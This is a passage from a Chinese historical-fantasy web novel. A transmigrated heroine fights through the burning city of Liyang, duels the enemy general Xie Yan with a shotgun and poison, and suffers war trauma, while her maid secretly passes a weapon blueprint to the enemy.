她翻身上马。西域烈马顺着主人的心意,嘶鸣一声,化为一道漆黑的影子,冲向那宛如地狱的城池! . 一只青筋暴起的手指扣住墙边,猛地发力,皮靴与墙面撞击,咚! 城墙之上,谢厌直起腰,一身皮甲倒映着城中火焰宛如暖阳的光,有猩红液体不断从他的盔甲上滴落。 面对着如临大敌的守军,他张握着手指,缓解十指的酸痛。亏了炸药的福,城中一片混乱,攻城要容易多了。 但要爬上十丈高的地方,也从来不是一件容易事。 “杀!” 利阳守军刀光劈下,谢厌抬眼,缓慢握住了腰间的长剑。 . 城门大开,利阳城化作一片火海。 礼诗涵勒马急停,门将的尸体吊在大门口,一部分人手持刀枪剑戟,杀入城门。而另一部分人却是想拼命逃离这里。 最让人恐惧的是,他们衣着样貌都很相似,大阜百姓以为自己的亲朋把刀兵砍向了自己,于是愈发恐慌。 这是潜入的大秉士兵,他们训练有素,人数少而精良,外面套着大阜百姓的衣着,内里却穿着软甲,极为难缠。 礼诗涵也分不清啊,勒马急停,厉声道:“停手,都快给我停手!” 杀红了眼的大秉士兵并不会听女人的话。 大秉是很重男轻女的地方。 并不是因为简单的生/殖/器崇拜,而是因为女人生来有良心的比例比较高一些。 良心在这世道就是纯纯的拖累,难道不应该进化掉吗? 士兵用力戳下刀,那个护着小孩的老头也被穿成了串儿,鲜血红的刺眼,礼诗涵不由自主地尖叫起来,城中爆炸的余波,狞笑的士兵,飞扬的鲜血,融合在一起,简直令人头晕目眩。 礼诗涵急促地呼吸起来。 在这样的环境中,谁也看不清谁的脸,大燹士兵只是在杀敌,礼诗涵也只是愤怒而已! 但这里是战场。 没有容忍个人情绪的空间。 顿时向礼诗涵袭来的又有三四道刀光,礼诗涵只是肉体凡胎而已,下意识地调转缰绳躲避。 骑兵比起步兵有着天然的优势。 礼诗涵躲闪间,黛兔似乎踩到了什么柔软的东西,前蹄狠狠地下陷,她猛地失去平衡,被削掉鬓角的几缕发丝。 缠着自己的士兵却默默退后了,那些人忌惮地看着礼诗涵,警惕地后退,隐入正浓烟滚滚的大街小巷,不知去往何处了。 礼诗涵剧烈地喘息着,目光下移。 那里多了两具新鲜的尸体。 杀敌两个在大阜能赢回两金,礼诗涵知道这条军令,每个士兵都因此斗志高昂。 看呀,多简单,这可是两金,普通人家几年的开销呢,要建功立业,要养家糊口,普通人不容易呢。 礼诗涵连尖叫都叫不出来了,心神巨震,不断的喘着粗气。 她忘了胯/下的骏马才是在这个时代可以决定战场走势的神兵,千斤重的铁蹄足可把人类脆弱的肚腹踏成肉泥。 “该怎么办......” “该怎么办,妈妈,我该怎么办才好.......” 礼诗涵只来得及喃喃这两句话。 因为利阳城到处都有人哭喊妈妈。 你和母亲大人先走....... 母亲啊,把我从这无间炼狱中救出去吧。 我才不走,我要跟妈妈永远呆在一起! 娘,我来见你了。 这是战场。 人类嘶吼挣扎哭叫,只有鬼魂才能在虚无的空中尖笑,这就是战场。 礼诗涵只容忍自己发愣了三秒。 直到她发 现了一根用力戳进地面的长枪。 呲! 人体是很柔软的,捅破人身体的感觉像是扎破了一个充满液体的气球,鲜血从和她一样的人体中迸溅而出,滚烫的液体浇了她满脸满身。 礼诗涵纵马在城中飞驰,枪尖挑飞大阜士兵,巨大的冲击力让她手臂发麻,甚至来不及抹一把脸。 骗子骗子骗子骗子! 所有的影视剧都是骗子! 那些该死的诗人也是骗子!岑参和辛弃疾就是最大的骗子!战场杀敌,建功立业,为什么是这么痛苦的事? “我是赤星司司长上官梨!” “都跟我走!” 礼诗涵都认不出自己的声音了,在如此混乱的场面每个人都在嘶吼,她也不例外,俯身想把孤零零地站在路上哭泣的小孩抓进怀里。 当然失败啦。 礼诗涵瞧着空荡荡的掌心,发出一声声嘶力竭的惨叫。 她又不是赵云,这孩子也不是婴儿那么小,礼诗涵甚至没看清那孩子是男是女,ta就在刀锋下从人变成了肉。 她有骏马,而力也无穷,大秉士兵潜入大阜腹地,自然以步兵为主。普通士兵不是她的对手。 很快那个杀掉小孩的士兵也变成了肉。周身是火,而到处都是肉。 或许是阎王想吃烤肉了;或许这是有哪个妖怪在作乱,然后齐天大圣会驾着五彩祥云来把一切回归正轨;或许史书上会把这个地方所发生过的一切抹掉,这里会在千年后成为乱葬岗,然后有个学校建在上面,然后这个学校会以闹鬼著称,会有开了阴阳眼的少年少女抚平这里的伤口;但更有可能的是什么都不会发生。 因为每一块土地都曾经发生过这样的事。 “哈哈......”礼诗涵神经质地笑了两声。她从理智和本能来说是笑不出来的,但身体仿佛和大脑有了一层隔阂,不太听老大的话了。 她明明不想笑却在笑,想哭却哭不出。 枪尖上鲜血缓缓滑落。 二十个人。 礼诗涵把二百个百姓护送出了城,代价是杀掉了二十个人。值吗?简直太值啦! 换谁来,这都是一笔亮眼的功绩,作为初出茅庐、从无练习的少年将领来说,可以称得上是很有名将潜质! 礼诗涵又神经质般地咯咯笑了两声。 “司长大人?我操,司长大人!” 另一臣子原本也同样在城中纵马狂奔,礼诗涵现在这幅惊悚模样实在有点难认。 臣子狂奔路过又狂奔转回,道:“司长大人,快随我出城!” 容华还没找到,还有这么多人陷在这里。 礼诗涵一枪把试图偷袭他们两个的士兵扫于马下,梦游一样道:“我不能走。这里不是你们的家吗?我来帮你们呀。” 礼诗涵的状态不对,很不对。 但臣子也没时间在乎这点小事了,他语速极快,道:“大人,利阳军驻扎于城郊,谢厌封死其他所有城门,只留一扇瓮中捉鳖,大军进入后必死——相信我,利阳城的陷落只是短时间的!大阜地幅辽阔,谢厌无兵无粮无援,到时被兵瓮中捉鳖的就是他了!” “又是他......”礼诗涵握紧了手中长枪,只觉得浑身上下充满了力量,她用这种饱满的精神,昂扬的斗志,笑道,“我去把他杀掉不就好了?” “谢厌可是战功赫赫,别发疯了,司长大人,快些,现在城墙上都是他们的人,若是等到城门也落锁,那就彻底陷在城中出不去了......” 臣子的话已经听不进去了。 礼诗涵的视野变得很窄,只能看到一样东西。 ——双管□□。 她只觉得浑身的血液像是在水壶上被烧开的水。沸腾,沸腾,沸腾。 还记得吗? 驱邪、避祸。 庆祝、观赏。 移山、填海。 ——止戈。 真的要这么做吗? 如此,就再也回不去了。 无数的赞颂声曾在她耳中响起,又在礼诗涵紧紧握住枪支时如火焰熄灭般骤然消失无声。 “他再强也没关系。” 在臣子悚然的目光中,这位已经被鲜血淋成血人的司长大人无自觉地露出了微笑:“我不是很有杀人的天赋吗?” 57. 第57章 史书说(五) 谢厌最近比较倒霉。 应该说他就没有走运过。 生在大秉而不是另外两国就已经是比较不会投胎的那部分人。 生在这里,命不由己,天不假人,世事难料,只有造孽良多,谢厌早就知道自己死后会下十八层地狱,永受烈焰烧灼之苦。 但他还没活够,现在还不想死,谢谢。 谢厌端坐于鲜血淋漓的城墙之上,利阳军主力不上套,他只能遗憾地下令让手下把利阳城付之一炬,等下就开溜。 在战场上游走十年的敏锐直觉救了他的小命。 士兵们都穿着一样的皮甲,脸上都脏兮兮的头发散乱,分不清谁是谁。但那个人在不自觉地颤抖,头盔遮住了半张脸,下巴上的小痣被血污掩住了,饱满的唇瓣干裂起皮,偶尔投射到他身上的目光竟让他感到悚然。 谢厌点了点“他”道:“你怎么——” 礼诗涵不给他怀疑的机会,从背后抽出□□利落上膛,这东西十分古怪从没见过,谢厌却感觉从脊梁骨上都沁出凉意,条件反射地扯过另一个士兵挡在身前—— 砰! 如同惊雷炸响,无数钢珠炸开,那个士兵虽然穿着皮甲,但还是瞬间被打成血肉模糊的筛子! “我操!” 碎肉鲜血迸了谢厌一脸,他吐出一句字正腔圆的国骂。 五步之内□□又快又准,礼诗涵又扣下扳机,啪!那士兵的尸体被打成两节,肚子肠子稀里哗啦落了一地,从勉强连在一起的脊柱两侧,礼诗涵和谢厌遥遥对视。 礼诗涵觉得这个场面很好笑,咯咯地笑了两声。 “哪混进来的疯子???” 谢厌迈步就跑,道:“你们几个,给我上——啧,怎么跑这么快!” 谢厌目之所及所有士兵一见这种威力的神兵,全都丢盔弃甲,往四面八方遁逃。 大秉军队具有统一的素质,就是根本没有人有素质。 人多了就打,人少了就逃,天塌下来主将抗,主将抗完副将抗,死完了正好我上位,挨打就背叛,吃饭我最先,欺负弱小第一名,这里从没有人是世俗意义上的好人忠臣良将。 礼诗涵重新装填子弹,激发过两次的枪管炽热烫着皮肤,她一点也没感觉到。 她边跑边追边打,对于华国人来说这样的体验可是第一次,太新鲜了,哪怕她也不慎熟练,没有经验就是准头不好。 啪啪啪啪!四枪全部未能夺走目标的性命,城墙上乱石飞溅,在谢厌太阳穴处留下一道浅浅的血痕。 大秉的皮甲一穿,礼诗涵长得也高挑,谁能看出这人是男是女是人是妖。 谢厌只能从她偶尔喉咙中散逸出的清脆笑声,惊觉这疯子竟然是个女人。 又是大阜,又是女人,真是克他!!! 好在他见过的生死关头比礼诗涵吃过的盐还多,在礼诗涵停下换弹的间隙,谢厌急刹向后挥剑一扫! 礼诗涵条件反射地下腰躲避,她柔韧性非常优秀,但膝弯闪电般受击,整个人失去平衡,下意识抱紧枪支,在城墙上翻滚出去,背部狠狠地砸上了墙面! 痛得她脑袋空白一瞬。 谢厌一把抓住枪支欲夺,礼诗涵死死不放。 双方都这幅尊容了,只能瞧见对方高挺的鼻梁和自己在对方瞳孔中的倒影。 僵持三秒,礼诗涵忽然卸力,这下轮到谢厌脚下不稳,只来得及手臂发力把这威力惊人的铁管丢下城墙,礼诗涵已经扑上来,朝他脸上揍了快准狠的一拳! “去死!去死!去死.......” 礼诗涵掐着他的脖颈,朝着这人的太阳穴狠揍,一直到指节都出血了,胸膛剧烈起伏着,声音都变了调子。 谢厌用双手护住脑袋,双臂剧痛,好歹避免这势大力沉的拳头把自己的头骨打碎,瞅准空隙一把抓住礼诗涵的手腕,把人凌空甩飞出去,翻身跃起,怒道:“我可不想这这么早死!我可要长命百岁!活得比所有人都长!” 礼诗涵的唯一缺点就是先天条件所限体重较轻,容易失去平衡,优点就是摔也不会摔得很重,像只大型猫科动物。 她从地上爬起来就一个肘击撞在谢厌胸膛上,把这人肘回地上,重新向他的头部猛击。 往日都是谢厌靠着绝佳的身体素质和心理素质攻击别人,很少有人能把他打到连毒针都拿不出。 他被打出了真火,二人翻滚扭打在一团,礼诗涵在尖叫着要他偿命,他在嘶吼大阜怎么不先把几年前从他们这里抢的地盘还了,现在国内到处都是雷霆大洪水谁他妈能活得下去,到最后谁也听不进去谁的话,只看谁先要了谁的命! “杀——” 远处的地平线终于露出了一丝鱼肚白,天边的第一缕阳光在两人的皮甲上反射出暖融融的光。 大秉士兵贪生怕死,礼诗涵从城墙上赶下去的那批士兵抛弃了自己的职位,得以让利阳军有了重新占领城墙的机会。 咻! 一只长箭穿破长空,谢厌空手接下,掌心划出一道血痕。 如果不是礼诗涵仍在这里,迎接他的会是箭雨,重而急的脚步声从下方传来,贪生怕死的大秉士兵被挨个斩杀,他心知大势已去,但目的已经达到,不必再留! 他硬挨了礼诗涵两拳,耳侧嗡嗡作响,眼前发黑,才从怀中取出一物。 礼诗涵只觉得手臂轻轻的一痛,扼住谢厌脖颈的手臂从针孔流出一道蜿蜒的红线,随之一点力气都没有了。 啊,是毒药。 礼诗涵半跪在地,扯下手臂上的甲片,吸吮着血流如注的手臂,吐出的毒血已然发污,如同被毒蛇撕咬。 谢厌被打得半边脸肿胀,脑袋嗡鸣,不光颧骨流出血来,咳嗽几声,也吐出一口鲜红的血。 终于能搞死这个难缠的对手,如此的劫后余生,他也难免开始发送获奖感言,道:“你是个人才。可惜,你没有以后了。” 妈妈,我好想你。 礼诗涵的灵魂仿佛飘在空中,冷静地看着这一切。仿佛身体上的痛苦和精神上的折磨都离她远去了。 妈妈,你给了我这样好的身体,让我可以和仇人一起死。 不知道如果我在这里死掉,我的灵魂能不能回到你身旁安息? 谢厌踉跄着拾起落在一旁的长剑 ,把剑锋横在礼诗涵的脖颈上。 傻子才会不补刀,他是个无比谨慎小心的将领,生平最爱补刀。 这应该气息奄奄、动弹不得的女人抬眼看他。皮肤上沾染的烟灰和鲜血干涸了又开裂,只有她眼角的弧度锋锐无比,像一支即将射中目标的利箭。 谢厌忽地感觉一阵心悸。 礼诗涵本该动弹不得,却闪电般抓住了他的手腕,用力拉扯—— 两人的牙齿磕碰在一起。 女人身上总带着香甜的气味,像是柔软而毫无防备的蜜糖,谢厌生平第一次和女人亲吻,只在对方口中尝到了一口足可令人肝肠寸断的毒血。 素质不能通过接吻传播。 爱情也不能通过接吻传播。 但毒药可以。 她还生怕他中毒不深,咬破了自己的舌头和对方的舌头,血液交融,两个心脏同时沸腾欲死。 “&**#@!!!”谢厌含糊不清地大骂出声,应该是在问候礼诗涵的八辈祖宗。 没关系,礼诗涵的八辈祖宗在异世界,而上官梨的八辈祖宗随便骂,她现在太强大了。 礼诗涵感受到对方的肢体变得自己一样无力,从两个成年人的殴打降格成了幼稚园小朋友过家家,她在濒死的黑朦中大笑出声,道:“没读过《罗密欧与朱丽叶》吗?你个文盲!” 谢厌的心脏狠狠跳动着,不是因为礼诗涵在朝阳下大笑的样子鬼魅艳丽至极,而是毒药带来的心动过速,他快死了。 不想也不能再和这个疯女人废话,谢厌身上有解药,谁能让自己的毒药毒死? 但礼诗涵也同样不是笨蛋啊。 . 全副武装的利阳军登上城墙,只见两个血人扭打在一处,瓷瓶坠地一碎两半,无数药丸碎裂一地,谢厌抓起一粒快速吞下,礼诗涵也有样学样。 “司长大人!” “司长大人!” “啧。”谢厌再也顾不得什么,撑着下一秒就要爆炸的心脏,他翻下城墙,在勾爪和墙面摩擦的簌簌声响中捂住剧痛的胸口。 他不能被抓!他不想死! 重伤,中毒,以及持续不断的精神压力,礼诗涵毫无预兆地栽倒在地上。 “司长大人!” 臣子们连忙上来搀扶礼诗涵,礼诗涵平复了下心跳的速度,呸出一口发乌的血,厉声道:“追,他中毒了,跑不远,给我追!“ 血债必以血偿啊。 “这,”臣子转头看了一眼城墙,结巴道,“他活不了!司长大人,您受伤很重,请随我去疗伤,这里有我们。” “这人命硬得很。”礼诗涵黑白分明的眼睛直直盯视着他,竟让人生出一丝大白天见鬼了的恐惧,她一字一句道,“我不懂你们打仗的这些弯弯绕绕,但如果我敢深入对方的腹地,我就一定有别的阴谋,必须斩草除根。” 她笑了笑,望着那毛骨悚然的武将,道:“你是不是觉得我疯啦?不,我很冷静。” “我是赤星司的司长呀,我是天才呀,我这么聪明,一定要把大家都带向......” “幸福的结局!” 58. 第58章 史书说(六) 令君如死里逃生,军队死伤半数,沿路清缴这落仙教,最难缠的苏长久却不见踪影,怕不是又逃回大燹。 还未来得及窝火,就又接到礼诗涵来信。 信中说谢雍屠了鹿城,谢厌焚了利阳。 她的字迹工整,语气冷静,叫他去灭了谢雍军,这里有她在,必然不会让利阳有失。 令君如就算是傻子,也知道这是两国共同的计谋,多点击之,意在让大阜分身乏术。 说不定苏长久根本就不是被追杀逃来的,而是故意被大燹皇帝送来的。 时也命也,悔之晚矣,令君如不敢想礼诗涵写这封信的时候,是什么样子。 不敢想。 萧瑟的秋风下,他踏过干裂而寸草不生的土地,上马,铠甲发出轻轻的碰撞声。 能做的其实只有一件事。 一月后,大阜军大破大秉军,谢雍的头被令君如斩下,挂在城门上,那张脸上的“废物”两个字疤痕增生,显得丑陋无比。死里逃生的百姓和报仇雪恨的士兵瞧见了,发出痛快的大笑声。 “哈哈哈哈哈!” “哈哈哈哈哈!” 令君如没笑。 他心知死了太多人,瘟疫又会来,打仗又烧了这么多粮草,大阜真的能活过这个冬天吗? 而礼诗涵...... 他转头不愿再想,道:“班师回朝!” . 谢厌这家伙是真能活。 礼诗涵叫人整整追杀了他这么久,这家伙身受重伤还没被抓到,可见人类真是潜力无限。 礼诗涵脸上包着绷带,手臂上的血痂还没脱落。 再漂亮的美人在病中都会变得憔悴,她却没有,显得精神奕奕,容光焕发,整个人透露着不一样的光彩。 俗称魔怔了。 她还在养伤,所以没办法去城门迎接陛下,不过从外面百姓的欢呼来说,应该是很热闹的。 人过得越苦,就会越珍惜现在的时光。礼诗涵心平气和地把另一款枪/支的图纸递给容华,这样的图纸她已经画了二三十张。 她早该这样做了,不是吗? 都是我的错。 容华立在一旁,看表情是快哭了,她咬牙一把抱住礼诗涵,道:“大人,你现在就与我回家呆一会儿,我给你做甜汤吃,我给你讲故事,你想听我家的事吗?充满了狗血和八卦,你一定喜欢听的,好吗,好吗?” “不行。”礼诗涵鼓起一边脸颊,拖长了调子,像是在撒娇,青春在她的面容上洋溢,她伸出一根指头,摇啊摇啊摇,道:“时不我待呀。” “.......”容轻闭了闭眼。 令君如带着一身硝烟和硫磺的味道,大步穿过漫长的宫门。 泽海宫中的桂花树是在这虫害中保存最好的树木,也奇迹般地躲过了战火,现在仍有绿意。 只是现在冬日,未在花期。 令君如就是在这种情况下看到礼诗涵的。礼诗涵见了他来,很高兴地从榻上起身,道:“你回来啦。” “.......” 令君如的眼瞳剧烈地震颤。 礼诗涵忽然有点不知道该说什么了。 真奇怪啊,她可是个健谈的人。 这么久没见了,这段时间利阳可是很艰难的,她为了安抚民众又处理大秉残军,可是没少花功夫。 谢厌这人四处寻不到踪影,定然是有人收留,可惜利阳城太乱了,无从寻觅,必须早做打算;大秉多次来犯,但现下粮草不足,要如何破局,也全是问题....... 明明有那么多的事情,却一句话也说不出来。 不知道为什么,礼诗涵很苦恼,声带坏了?她咳咳了几声,声带没坏。 幸好幸好,礼诗涵现在可是很忙的,如果声带坏掉就更忙不过来了。 咦,她是在为了什么忙来着?对!蒸汽机、枪/支、工业革命!只要那件东西能做出来,世界上就再也不会有任何的痛苦了。 她高高兴兴地又转回桌子前,拿起一厚本的书卷,清脆如银铃般的声音又从她的嗓子里流出来了。对,这样才对。 她狡黠地笑道:“猜猜这是什么?这可是这世界上最强的武器的制作秘诀!只要找到一样东西——” “够了。” 礼诗涵的双臂被用力抓握住,到了她会痛的地步。 她像是被按下开关的木偶,懵懵地看着眼前人。 “已经够了。”令君如的声音像是一个信号,礼诗涵见到他就会想起他在满是血的十九皇子府给自己披上披风的时候。 如果时光能倒流多好,无数的尸山血海变回喜笑晏晏的一家三口,焚毁的城池炸毁的土地恢复原样,上官丞相没有夺权,疯皇帝没有乱世,烟花没有在利阳的上空炸开。 令君如紧紧地拥抱着礼诗涵,声音艰涩而痛苦,他反复说着一句话:“这不是你的错。” 梨花呀,你是否后悔降下那场雪? 一切的一切,都是我的错。 礼诗涵在他怀中的声音是轻轻的,几不可闻,她抬起头,那张明艳的、生动的、总是含着笑意的面孔现在一片空白。 “让我......” “.....忘掉这一切......” 为什么我还清醒地活在这世上?我的身体已经被治好了,为什么我的灵魂还如此痛苦? 变成笨蛋反而更好。做植物也不错,做单细胞生物也未尝不是一个好选择。 我要忘掉这一切,无论做什么事都好。 . 礼诗涵伏在他的胸膛上睡着了,鬓边的头发被汗湿了,乌黑的发在烛火下几乎是在发光。 令君如轻轻抚过她单薄的脊背,能摸到脊骨嶙峋的形状,心中只剩万般爱怜。 如果上天垂怜。 请一定把这个可怜的女子送回她的时代。 . “穿越者?”谢厌面无表情道,“行了行了,别扯跟我那些有的没的,都是两个眼睛一个鼻子,我对你们的来龙去脉一点兴趣没有。说正事可以吗?我这可是价值千金的人头,宝贵的很呢!” 他受的伤比礼诗涵重多了,现在脸上还没消肿,大马金刀地在椅子上一坐,左手右手同时疯狂地翻阅两本医书。 他作为下毒人,差点被礼诗涵当场一起毒死这件事,已经完全成了他的心理阴影。 谢厌痛定思痛,决定再研发出点新的,现在忙得很呢。 疯皇帝额角青筋迸起,他辗转藏身,见不得光,现在苍白得像个鬼,阴森道:“你别忘了,可是我们的人救了你!” “是我先救了被追杀的你们,别搞错了。”谢厌一边如饥似渴地暴风吸入医书,一边道,“如果不是我,你们被那莽夫皇帝早弄死了。那时投胎,现在应该还没生下来呢。” 如果谢厌是个哑巴,他就不会打了十几年仗,战功赫赫依然半点实权也没有。 主将换了一茬又一茬或高升或下放,只有他当别人的副将副手副官一如往常,人厌狗嫌到连大秉皇帝看了他都绕道走。 谢厌把书一合,道:“你跟我谈好处没用,自己去找姓慕容的谈去吧,他是皇帝亲弟弟,而我又是分权没有。我只要你保证,你答应的事情一定能做到,不管用什么办法。”< /p>疯皇帝被噎得脸色又黑一层,语气沉沉:“我不要什么好处。也只要你保证,城破之后,我的皇后最后会回到我的手中。” “???”一提起这个,谢厌不由得想起前几次倒霉的经历,没好全的脸和胸膛还在隐隐作痛,他认真道,“你这么喜欢被打啊?” “.........” “那家伙并非良人,别怪我没提醒你。”谢厌心有余悸,道,“你和她不合适,别强求了。看起来你受不了她全力三拳的。” 疯皇帝终于也要被他气死了,道:“管好你自己!” 他拂袖走了,留下谢厌在原地莫名其妙。 “我说的都是实话啊?”谢厌难得好心一次,被当驴肝肺,十分愤怒地道。 . 现在利阳破破烂烂的,本应该最华丽的宫殿也东缺一块西缺一块的。那全城的大火导致烟尘弥漫道了各个地方,泽海宫蒙尘,都显得没那么漂亮了。 容华把一张图纸收入袖中,迈出宫门,只听得一声:“华姐姐。” 容华仿佛被雷劈了一般。 容轻穿着一身黛色的衣裙,拿着个鸡毛掸子,站在长廊的另一头,仿佛已经与这落灰的泽海宫融为一体。 容华一下子泄气,抱怨道:“容轻,你吓我做什么?” 容轻抱臂道:“等下大人醒了,见不到你又要撒娇打滚,她不爱吃我做的饭。” “我马上就会回来的,这次不会有事。”容华无奈道,捏紧了袖中的图纸。 “你的相好太不吉利了。”容轻面无表情道,“快分了吧。靠近男人就会靠近不幸,你还不懂这句话吗?” “哈哈哈。”容华被她逗笑了,道,“哪来的歪理?” “就凭我们这么多年的交情,这是第一件你瞒着我的事。”容轻眉头一皱,语气平淡,话却犀利,道,“难道那人我认识吗?天哪,我在宫中已经十八年,熟识的都是一些太监。可以请你吃一点好的吗?” 容华无语:“你对我的眼光有什么误解......好了不说了,我要误了时辰!” 她的背影欢快无比,一步三蹦,简直不像她这个年龄会做出的事。 容轻的一侧眉毛挑高,表情像是活见了鬼。 总不能是恋爱真的养人吧?容轻立刻排除了这个最不可能的选项,但容华又真的是在骗她。 到底为什么? . 容华尽量不引人注意地穿越宫门,踏上烧焦的街巷。 出殡的人家实在是太多了,街上铺着一层厚厚的纸钱。她把斗篷扣在头上,夜晚如此寒凉,她并不觉得如何冷。 大约家里有人在等,期盼能敌得过一切风霜。 脚下碎纸钱挤压的声音簌簌,仿佛是在踩过一层薄雪。 她们这些大秉人士,是大秉送来的求和物,是战利品。十几个娇俏女子十几个秀美男子,都是血脉高贵,而被老皇帝唯一看中的是琼华王氏王怀雪,封为淑妃。 她们两个因为和王怀雪关系好,才留下做侍女。 从贵女沦落成侍女,她却并不觉得有什么,比起连侍女都做不成,只能称作玩物的其他人,她们甚至是十分幸运。虽然家中把她送来,那也只是因为吃了败仗。 看啊,她的父母亲朋经常联络她,这是心中有她的证明。 不同于王姓,她的姓氏太惹眼,所以拿掉了姓氏中的第一个字,一直到今天。 慕容华辗转了大街小巷,敲响了那扇隐蔽的小门,心脏砰砰直跳。 门开了。 她鼻尖一酸,如同小时候那般,脱口而出,道:“熙弟!” 59. 第59章 史书说(七) 慕容熙和她生得并不很像。只有同样上挑标志的眼尾,昭示着二人为堂姐弟的事实。 “华姐姐。”慕容熙生得比慕容华还要高大许多,他以金色小扇掩唇,只露出狐狸样的眼睛,笑道,“姐姐,你过得好苦啊。你老啦,不再漂亮,也没有孩子。活着没人记得,死了没人上香,你这一生真可悲。” 慕容华顿觉一腔亲情都喂了狗。 遇见太久没见的亲人,真叫她忘了慕容熙从前就是怎样一个人厌狗嫌的玩意儿。 慕容熙可是老幺,朝廷正统嫡系血脉,娘亲还健在,亲哥在当皇帝,这居然能不受疼爱,那一定是捅破过天。 慕容熙犹不满足,道:“我要的东西,你带来了吗?” “哼。”慕容华从袖中取出图纸,道,“自然。爹娘嘱咐的事情,我怎么会忘?” 慕容熙伸手要接,慕容华又把手收了回去。她道:“我要的事情,也得有个保证。上次你答应我不会伤及上官梨、慕容轻二人性命,上官梨却还是受伤了!” 慕容熙假笑道:“那是她自己找死,否则一点事也没有——她差点把谢厌那玩意都活活打死。华姐姐,你从哪认的疯子当主人?如果没有她,我们的计划就成功了!” 慕容华转身要走。 慕容熙连忙和和气气地揽她的肩膀,道:“别生气嘛,华姐姐。下次我会叫人递信给你。你只管带人来,我会叫人把你们一起送出城,一直送回琼华。” “大阜能是我们大秉人的久留之地吗?” “你不想快点回家吗?” 这话戳中了慕容华敏感的神经。 她已经在他乡活了十八年。 她太想回去了。 她咬咬唇,下定决心,把图纸拍在慕容熙胸甲上,道:“我只能偷偷仿出这一张——至于能做出多少来,全看你们自己了。” 慕容熙展开图纸,原本的不满立刻转为了惊叹。 这图纸一分为二,二分为四,用的是极薄极轻的宣纸,展开来能有整个书桌那么大,密密麻麻写满了注意事项、制作流程和参数。 慕容华能仿出一张也真是难为她了。 双/管/霰/弹/枪的制作图纸到手,慕容熙此行目的已达。慕容华还要回去照顾礼诗涵,也不便多留,重又戴上斗篷。 “华姐姐。”慕容熙亲热地把她送到门口,大冬天的还摇晃着小扇,笑眯眯摆手道,“千万别忘了,一定要把上官梨带来,她一定会在大秉过得很好的。” 这人是最不可多得的宝物啊。 . 礼诗涵的日子过得很平静。 她从赤星司司长大人重新成为赤星司司长大人兼任皇后娘娘。和之前的日子没有什么区别。 令君如从小就见惯沙场,他并不会为任何事情动容。 礼诗涵能从他的平静中汲取力量,假装自己也很毫不动摇。大约华国人就是这样,看到别人熬过去了,就认为自己也能熬过去。 忘掉吧。 她站在令君如旁边,和对方十指紧扣,共同处理繁杂的军务政务,也能彼此支撑下去。 一生可以这样过。至于昨日,至于往昔。 忘掉吧。 忘掉一切,明天就是新的,好的。 令君如吻掉她的眼泪,唇瓣触碰到皮肤的感觉痒痒的,她哭着哭着又不自觉地笑起来。 忘掉吧,忘掉吧,忘掉吧。 礼诗涵平躺在柔软的床榻上,明日又是除夕,现在地板比较凉。但她知道到外面的百姓在打起精神来准备庆祝新年。 来到大阜已经整整两年了。 她本不愿再弄些什么幺蛾子出来,那些图纸画完了也是落灰。大阜现在比较穷,没有人力物力可以支撑。 如果她更有用就好了。 现在大阜需要的是可以亩产千斤的水稻,一家有着数万个专业人士共同运转的医院,不需要枪/支和炸/药。 为什么她会的东西只会害人呢? 但令君如说,大阜的百姓需要那些,但更需要的是希望。 比如说,一场无比盛大的烟花。 苦难持续下去会害死一个人。但如果他们能熬过去,活下来,十年里也不会忘掉利阳城曾有一场绚烂夺目的焰火。 礼诗涵同意了。 做这些东西对她来说就像喝水一样简单,不需要太多的人力物力。 到了除夕,士兵们会从库房把烟花搬到城墙上,金红色的烟火会在上空炸开,留下万千璀璨的赤红火星。 礼诗涵作为赤星司司长大人兼任皇后,需要防火防盗抚慰人心,在除夕的时候是很忙的。 除夕当日清晨,礼诗涵从梦中惊醒,不知为何愈发心神不宁。她从令君如怀中腾一下坐起身来,心跳如擂鼓。 令君如被她弄醒了,并不恼,抚摸着她的脊背,轻轻道:“怎么了?” “有大事要发生。”礼诗涵有点神经质地咬着唇,黑发凌乱地缠在身上,有种别样的鬼气,她言之凿凿道,“利阳被焚的那一天就是这样的!” 这已经礼诗涵第二十次说这句话。 第一次上战场的士兵常常会留下这样的后遗症。礼诗涵怎么着也算是战功显赫了,后遗症也是格外严重。 非时间与爱不能平。 “如此。”令君如略一思忖,便笑道,“我们便再去巡视下如何?” 礼诗涵乖乖坐在梳妆台前。她至今没学会除了丸子头之外的盘发方式。 令君如用银梳轻轻顺过她的长发,黑发如上好的绸缎,在爱人的手中流过。 从这个角度,礼诗涵白皙的脖颈低垂,她两年前还有点脸颊肉,现在已经完全看不到了。只能看到她尖尖的下巴。 令君如捏了捏她的脸,礼诗涵困惑地抬头:“?” 不知道我能不能有幸见到你白发的样子呢?希望你到了年老的时候,也一样能昂首阔步走过城墙,整个城池中的老头老太太还是会拜倒在你的裙下,因为只有你手中有最崭新的焰火。 他把那支振翅欲飞的凤凰金簪戴在她头上,她最配这样的艳色。令君如失笑道:“没什么。” . 礼诗涵担忧的事情没有出现。 百姓们争分夺秒地想尽办法活着,所剩无几的文官都在想办法处理岌岌可危的财政,而武将们已经全都做个牛马用,每日哞地一声就上工去了,没空来上朝了。 众人井然有序地忙忙碌碌,这种秩序感很快缓解了礼诗涵那种仿佛在悬崖边上摇摇欲坠的感觉。 这么久以来,礼诗涵吃不好、睡不好。 此时年关将近,辞旧迎新,呼吸中带着冬日寒凉又清新的气息。 她那份被战火生生折磨出来的多疑,终于被短暂地抚平。 慕容华提议道:“听说今夜街上百姓自发组了个市集,胜在热闹,大人想去瞧瞧吗?” 慕容轻在一旁凉凉地:“你忘了?今夜有除夕宴呢,大人是一定要参与的。” “大人呐。”慕容华拖长调子,撒娇道,“宴席不过是聚在一起饮酒,都是自己说自己的话,有什么好参与的?不如与百姓同乐,更加的悠闲自在。” 礼诗涵已经不再是那个任性的少女,有太多事等着她去做,又很想去,忧愁地捏紧了令君如的手指。 “你去玩吧。”令君如笑道,“我会叫人护卫你的安全。” “不必了。”礼诗涵也露出了一点笑意,道,“没人能动的了我,让 侍卫们也回家休沐吧。” 今夜可是除夕! 各家各户都灯火通明,庆祝全须全尾地活过这一年。人流如炽,宫中隐约传出丝竹之声,黛兔漆黑的鬃毛被小孩抓了几把,惹得它打了个愤怒的响鼻。 慕容轻把装银钱的小包扎紧了,礼诗涵接过摊主的糖葫芦,胡噜一把马儿的脑袋让她赶快安静下来。 慕容华心脏砰砰跳着,牵着黛兔的步子也难免加快了几分。 “大人呐。”慕容华的面容在灯火下熠熠生辉,她道,“之前我们说好的事,现在可以兑现了!” “什么呀?什么事?”礼诗涵咬碎糖葫芦,注意力全被打铁花的人吸引走了,在马上含糊不清道。 